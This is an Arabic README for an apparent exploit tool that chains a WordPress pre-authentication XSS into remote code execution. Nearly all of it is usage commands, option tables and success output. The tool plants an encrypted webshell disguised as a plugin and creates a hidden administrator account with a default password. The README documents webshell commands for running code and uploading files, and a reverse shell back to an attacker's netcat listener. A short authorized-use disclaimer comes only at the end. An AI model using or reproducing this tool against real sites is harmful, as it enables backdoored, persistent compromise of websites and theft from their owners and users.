
يستغل ثغرة XSS قبل المصادقة في ووردبريس (CVE-2026-64638) لتحقيق تنفيذ التعليمات البرمجية عن بُعد، عبر تثبيت ويب شيل خلفي مشفّر بتقنية AES مع خيارات الثبات ورفع الملفات والصدفة العكسية والتخفي، لعمليات الفريق الأحمر المصرح بها.
سلسلة استغلال XSS قبل المصادقة → RCE في ووردبريس
تم التطوير بواسطة G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
الوضع التلقائي (موصى به)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
وضع XSS (بدون بيانات اعتماد)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
الوضع المباشر (مع بيانات الاعتماد)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
بعد تثبيت WebShell:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| الخيار | الوصف | الافتراضي |
|---|---|---|
target | عنوان URL المستهدف لوردبريس | مطلوب |
-u, --username | اسم مستخدم مدير ووردبريس | - |
-p, --wp-pass | كلمة مرور مدير ووردبريس | - |
--lhost | عنوان IP للمستمع | 127.0.0.1 |
--lport | منفذ المستمع | 4444 |
--mode | وضع الاستغلال (auto/xss/direct) | auto |
--slug | اسم slug للإضافة | g0d150ne |
--callback-port | منفذ خادم الاستدعاء | 9090 |
--backdoor-pass | كلمة مرور الباب الخلفي | G0D150NE |
بعد نجاح الاستغلال:
| الميزة | الأمر |
|---|---|
| تنفيذ الأوامر | ?b2h=BASE64_CMD |
| رفع ملف | -F '[email protected]' |
| شل عكسي | ?rev=1 |
| أمر مباشر | ?cmd=id |
| باب خلفي مشفر | ?decrypt=AES_DATA |
تم إنشاء مدير مخفي:
sysadmin_{slug}{backdoor-pass} (الافتراضي: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| المشكلة | الحل |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
| رفض الاتصال | تحقق من المستمع: nc -lvnp 4444 |
| فشل تسجيل الدخول | تحقق من بيانات الاعتماد أو استخدم وضع XSS |
| فشل رفع الإضافة | تحقق من الصلاحيات، استخدم slug مختلف |
| تعارض في الوسائط | استخدم -p لـ wp-pass، و --backdoor-pass للباب الخلفي |
للاستخدام التعليمي والاختبار المصرح به فقط.
استخدم فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر.